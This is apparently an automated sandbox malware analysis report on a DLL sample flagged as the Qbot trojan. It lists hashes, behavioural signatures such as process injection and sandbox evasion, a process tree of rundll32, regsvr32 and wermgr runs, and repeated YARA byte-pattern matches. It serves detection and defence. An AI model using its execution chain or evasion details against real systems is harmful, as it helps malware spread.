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Windows Analysis Report
pebbles.dat.dll

Overview

General Information

Sample Name:	pebbles.dat.dll
Analysis ID:	715156
MD5:	d89521adaf6418e6ebe43b1a1a9d2af9
SHA1:	38cac8495ef43e51cdac1cb5e85d10137b365bee
SHA256:	1965dc57456d4fc01b6ce0f242d80776fe08a16354e6177255cba618348355ac
Tags:	dll
Infos:

Detection

Qbot

Score:	96
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Yara detected Qbot

Multi AV Scanner detection for submitted file

Malicious sample detected (through community Yara rule)

Sigma detected: Execute DLL with spoofed extension

Maps a DLL or memory area into another process

Overwrites code with unconditional jumps - possibly settings hooks in foreign process

Writes to foreign memory regions

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Machine Learning detection for sample

Allocates memory in foreign processes

Uses 32bit PE files

Queries the volume information (name, serial number etc) of a device

Yara signature match

May sleep (evasive loops) to hinder dynamic analysis

Uses code obfuscation techniques (call, push, ret)

Found evasive API chain (date check)

PE file contains sections with non-standard names

Detected potential crypto function

Sample execution stops while process was sleeping (likely an evasion)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to record screenshots

Entry point lies outside standard sections

AV process strings found (often used to terminate AV products)

PE file does not import any functions

Drops PE files

Tries to load missing DLLs

Found evasive API chain checking for process token information

Registers a DLL

PE file overlay found

Creates a process in suspended mode (likely to inject code)

Classification

Process Tree

System is w10x64

loaddll32.exe (PID: 5328 cmdline: loaddll32.exe "C:\Users\user\Desktop\pebbles.dat.dll" MD5: 1F562FBF37040EC6C43C8D5EF619EA39)

conhost.exe (PID: 5864 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: EA777DEEA782E8B4D7C7C33BBF8A4496)

cmd.exe (PID: 5900 cmdline: cmd.exe /C rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1 MD5: F3BDBE3BB6F734E357235F4D5898582D)

rundll32.exe (PID: 5792 cmdline: rundll32.exe "C:\Users\user\Desktop\pebbles.dat.dll",#1 MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 4884 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

regsvr32.exe (PID: 5696 cmdline: regsvr32.exe /s C:\Users\user\Desktop\pebbles.dat.dll MD5: 426E7499F6A7346F0410DEAD0805586B)

wermgr.exe (PID: 3472 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

audiodg.exe (PID: 3472 cmdline: C:\Windows\system32\AUDIODG.EXE 0x2ac MD5: 0B245353F92DF527AA7613BA2C0DA023)

rundll32.exe (PID: 5784 cmdline: rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllRegisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

wermgr.exe (PID: 612 cmdline: C:\Windows\SysWOW64\wermgr.exe MD5: CCF15E662ED5CE77B5FF1A7AAE305233)

rundll32.exe (PID: 5360 cmdline: rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,DllUnregisterServer MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

rundll32.exe (PID: 5580 cmdline: rundll32.exe C:\Users\user\Desktop\pebbles.dat.dll,bewailable MD5: D7CA562B0DB4F4DD0F03A89A1FDAD63D)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000007.00000002.270568639.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000003.00000002.269120079.0000000000990000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000004.00000002.269061857.0000000004450000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000007.00000000.268101186.0000000000E40000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000004.00000003.261746477.0000000004430000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000008.00000000.268192549.00000000012A0000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000003.00000003.261366767.0000000000590000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000009.00000002.270604125.0000000000970000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000005.00000003.261991952.0000000002D60000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000009.00000000.268299338.0000000000970000.00000040.80000000.00040000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
00000005.00000002.268833263.0000000002EE0000.00000040.00000800.00020000.00000000.sdmp	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
Click to see the 28 entries

Unpacked PEs

Source	Rule	Description	Author	Strings
9.2.wermgr.exe.970000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
9.2.wermgr.exe.970000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
9.2.wermgr.exe.970000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
3.2.regsvr32.exe.990000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
3.2.regsvr32.exe.990000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
3.2.regsvr32.exe.990000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.2.rundll32.exe.4450000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.2.rundll32.exe.4450000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.2.rundll32.exe.4450000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.0.wermgr.exe.e40000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.0.wermgr.exe.e40000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.0.wermgr.exe.e40000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
5.2.rundll32.exe.2ee0000.0.raw.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
5.2.rundll32.exe.2ee0000.0.raw.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x10f4f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
5.2.rundll32.exe.2ee0000.0.raw.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ca14:$a4: %u;%u;%u; 0x1cf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1cdd8:$a6: %u&%s&%u 0x8cc6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x9004:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x3330:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2d87:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xc8ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
4.3.rundll32.exe.4430000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
4.3.rundll32.exe.4430000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0xf74f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
4.3.rundll32.exe.4430000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1aa14:$a4: %u;%u;%u; 0x1af50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1add8:$a6: %u&%s&%u 0x74c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x7804:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x1b30:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x1587:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xb0ee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
7.0.wermgr.exe.e40000.0.unpack	JoeSecurity_Qbot_1	Yara detected Qbot	Joe Security
7.0.wermgr.exe.e40000.0.unpack	Windows_Trojan_Qbot_92c67a6d	unknown	unknown	0x1034f:$a: 33 C0 59 85 F6 74 2D 83 66 0C 00 40 89 06 6A 20 89 46 04 C7 46 08 08 00
7.0.wermgr.exe.e40000.0.unpack	Windows_Trojan_Qbot_3074a8d4	unknown	unknown	0x1ba14:$a4: %u;%u;%u; 0x1bf50:$a5: %u.%u.%u.%u.%u.%u.%04x 0x1bdd8:$a6: %u&%s&%u 0x80c6:$get_string1: 33 D2 8B C6 6A 5A 5F F7 F7 8B 7D 08 8A 04 3A 8B 55 F8 8B 7D 10 3A 04 16 0x8404:$set_key: 8D 87 00 04 00 00 50 56 E8 BF 15 00 00 59 8B D0 8B CE E8 0x2730:$do_computer_use_russian_like_keyboard: B9 FF 03 00 00 66 23 C1 33 C9 0F B7 F8 66 3B 7C 4D 0x2187:$execute_each_tasks: 8B 44 0E 0C 85 C0 74 04 FF D0 EB 12 6A 00 6A 00 6A 00 FF 74 0E 08 E8 F5 EF FF FF 83 C4 10 0xbcee:$generate_random_alpha_num_string: 57 E8 DC DC FF FF 48 50 8D 85 30 F6 FF FF 6A 00 50 E8 D1 6D 00 00 8B 4D F8 83 C4 10 8A 04 38 88 04 0E 46 83 FE 0C
